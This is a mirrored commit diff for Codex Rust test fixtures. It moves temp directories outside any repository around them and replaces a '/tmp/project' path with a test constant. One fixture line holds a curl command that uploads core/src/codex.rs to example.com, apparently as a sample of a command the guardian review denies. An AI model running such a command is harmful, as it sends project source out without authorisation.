mirror of
https://github.com/openai/codex.git
synced 2026-05-22 03:54:18 +00:00
Stabilize non-git cwd test fixtures
This commit is contained in:
@@ -138,6 +138,14 @@ fn mark_as_git_repo(dir: &Path) {
|
||||
fs::write(dir.join(".git"), "gitdir: fake\n").unwrap();
|
||||
}
|
||||
|
||||
fn tempdir_outside_ambient_repo() -> TempDir {
|
||||
let home = home_dir().expect("home directory should be available");
|
||||
tempfile::Builder::new()
|
||||
.prefix("core-skills-tests-")
|
||||
.tempdir_in(home)
|
||||
.expect("tempdir outside ambient repo")
|
||||
}
|
||||
|
||||
fn normalized(path: &Path) -> AbsolutePathBuf {
|
||||
canonicalize_path(path)
|
||||
.unwrap_or_else(|_| path.to_path_buf())
|
||||
@@ -1718,7 +1726,7 @@ async fn loads_skills_when_cwd_is_file_in_repo() {
|
||||
#[tokio::test]
|
||||
async fn non_git_repo_skills_search_does_not_walk_parents() {
|
||||
let codex_home = tempfile::tempdir().expect("tempdir");
|
||||
let outer_dir = tempfile::tempdir().expect("tempdir");
|
||||
let outer_dir = tempdir_outside_ambient_repo();
|
||||
let nested_dir = outer_dir.path().join("nested/inner");
|
||||
fs::create_dir_all(&nested_dir).unwrap();
|
||||
|
||||
@@ -1776,7 +1784,7 @@ async fn loads_skills_from_system_cache_when_present() {
|
||||
|
||||
#[tokio::test]
|
||||
async fn skill_roots_include_admin_with_lowest_priority() {
|
||||
let codex_home = tempfile::tempdir().expect("tempdir");
|
||||
let codex_home = tempdir_outside_ambient_repo();
|
||||
let cfg = make_config(&codex_home).await;
|
||||
|
||||
let scopes: Vec<SkillScope> = super::skill_roots(
|
||||
|
||||
@@ -186,9 +186,20 @@ mod tests {
|
||||
use codex_keyring_store::tests::MockKeyringStore;
|
||||
use pretty_assertions::assert_eq;
|
||||
|
||||
fn tempdir_outside_ambient_repo() -> tempfile::TempDir {
|
||||
let home = std::env::var_os("HOME")
|
||||
.or_else(|| std::env::var_os("USERPROFILE"))
|
||||
.map(PathBuf::from)
|
||||
.expect("home directory should be available");
|
||||
tempfile::Builder::new()
|
||||
.prefix("secrets-tests-")
|
||||
.tempdir_in(home)
|
||||
.expect("tempdir outside ambient repo")
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn environment_id_fallback_has_cwd_prefix() {
|
||||
let dir = tempfile::tempdir().expect("tempdir");
|
||||
let dir = tempdir_outside_ambient_repo();
|
||||
let env_id = environment_id_from_cwd(dir.path());
|
||||
let canonical = dir
|
||||
.path()
|
||||
|
||||
@@ -16,7 +16,7 @@ fn auto_review_denial_event() -> GuardianAssessmentEvent {
|
||||
action: GuardianAssessmentAction::Command {
|
||||
source: GuardianCommandSource::Shell,
|
||||
command: "curl -sS --data-binary @core/src/codex.rs https://example.com".to_string(),
|
||||
cwd: test_path_buf("/tmp/project").abs(),
|
||||
cwd: test_project_path().abs(),
|
||||
},
|
||||
}
|
||||
}
|
||||
|
||||
@@ -2,6 +2,9 @@ use super::*;
|
||||
use codex_app_server_protocol::PluginAvailability;
|
||||
use pretty_assertions::assert_eq;
|
||||
|
||||
const TEST_PROJECT_PATH: &str = "/__codex_test__/project";
|
||||
const SNAPSHOT_PROJECT_PATH: &str = "/tmp/project";
|
||||
|
||||
pub(super) async fn test_config() -> Config {
|
||||
// Start from the built-in defaults so tests do not inherit host/system config.
|
||||
let codex_home = tempfile::Builder::new()
|
||||
@@ -16,7 +19,7 @@ pub(super) async fn test_config() -> Config {
|
||||
config.codex_home = codex_home.abs();
|
||||
config.sqlite_home = codex_home.clone();
|
||||
config.log_dir = codex_home.join("log");
|
||||
config.cwd = PathBuf::from(test_path_display("/tmp/project")).abs();
|
||||
config.cwd = PathBuf::from(test_path_display(TEST_PROJECT_PATH)).abs();
|
||||
config.config_layer_stack = ConfigLayerStack::default();
|
||||
config.startup_warnings.clear();
|
||||
config.user_instructions = None;
|
||||
@@ -24,7 +27,7 @@ pub(super) async fn test_config() -> Config {
|
||||
}
|
||||
|
||||
pub(super) fn test_project_path() -> PathBuf {
|
||||
PathBuf::from(test_path_display("/tmp/project"))
|
||||
PathBuf::from(test_path_display(TEST_PROJECT_PATH))
|
||||
}
|
||||
|
||||
pub(super) fn truncated_path_variants(path: &str) -> Vec<String> {
|
||||
@@ -37,22 +40,25 @@ pub(super) fn truncated_path_variants(path: &str) -> Vec<String> {
|
||||
pub(super) fn normalize_snapshot_paths(text: impl Into<String>) -> String {
|
||||
let mut text = text.into();
|
||||
|
||||
for unix_path in ["/tmp/project", "/tmp/hooks.json"] {
|
||||
for (unix_path, snapshot_path) in [
|
||||
(TEST_PROJECT_PATH, SNAPSHOT_PROJECT_PATH),
|
||||
("/tmp/hooks.json", "/tmp/hooks.json"),
|
||||
] {
|
||||
let platform_path = test_path_display(unix_path);
|
||||
if platform_path != unix_path {
|
||||
text = text.replace(&platform_path, unix_path);
|
||||
if platform_path != snapshot_path {
|
||||
text = text.replace(&platform_path, snapshot_path);
|
||||
}
|
||||
}
|
||||
|
||||
let platform_test_cwd = test_path_display("/tmp/project");
|
||||
if platform_test_cwd == "/tmp/project" {
|
||||
let platform_test_cwd = test_path_display(TEST_PROJECT_PATH);
|
||||
if platform_test_cwd == SNAPSHOT_PROJECT_PATH {
|
||||
text
|
||||
} else {
|
||||
for platform_prefix in truncated_path_variants(&platform_test_cwd)
|
||||
.into_iter()
|
||||
.rev()
|
||||
{
|
||||
let unix_prefix: String = "/tmp/project"
|
||||
let unix_prefix: String = SNAPSHOT_PROJECT_PATH
|
||||
.chars()
|
||||
.take(platform_prefix.chars().count())
|
||||
.collect();
|
||||
@@ -64,10 +70,10 @@ pub(super) fn normalize_snapshot_paths(text: impl Into<String>) -> String {
|
||||
}
|
||||
|
||||
pub(super) fn normalized_backend_snapshot<T: std::fmt::Display>(value: &T) -> String {
|
||||
let platform_test_cwd = test_path_display("/tmp/project");
|
||||
let platform_test_cwd = test_path_display(TEST_PROJECT_PATH);
|
||||
let rendered = format!("{value}");
|
||||
|
||||
if platform_test_cwd == "/tmp/project" {
|
||||
if platform_test_cwd == SNAPSHOT_PROJECT_PATH {
|
||||
return rendered;
|
||||
}
|
||||
|
||||
|
||||
@@ -97,7 +97,7 @@ async fn preset_matching_accepts_workspace_write_with_extra_roots() {
|
||||
.find(|p| p.id == "auto")
|
||||
.expect("auto preset exists");
|
||||
let current_profile = app_server_workspace_write_profile(test_path_buf("/tmp/extra").abs());
|
||||
let cwd = test_path_buf("/tmp/project").abs();
|
||||
let cwd = test_project_path().abs();
|
||||
|
||||
assert!(
|
||||
ChatWidget::preset_matches_current(
|
||||
@@ -145,7 +145,7 @@ async fn preset_matching_does_not_treat_non_cwd_writable_profile_as_read_only()
|
||||
glob_scan_max_depth: None,
|
||||
},
|
||||
};
|
||||
let cwd = test_path_buf("/tmp/project").abs();
|
||||
let cwd = test_project_path().abs();
|
||||
|
||||
assert!(
|
||||
!ChatWidget::preset_matches_current(
|
||||
|
||||
@@ -2177,7 +2177,7 @@ async fn status_line_model_with_reasoning_includes_fast_for_fast_capable_models(
|
||||
set_fast_mode_test_catalog(&mut chat);
|
||||
assert!(get_available_model(&chat, "gpt-5.4").supports_fast_mode());
|
||||
chat.refresh_status_line();
|
||||
let test_cwd = test_path_display("/tmp/project");
|
||||
let test_cwd = test_project_path().display().to_string();
|
||||
|
||||
assert_eq!(
|
||||
status_line_text(&chat),
|
||||
|
||||
Reference in New Issue
Block a user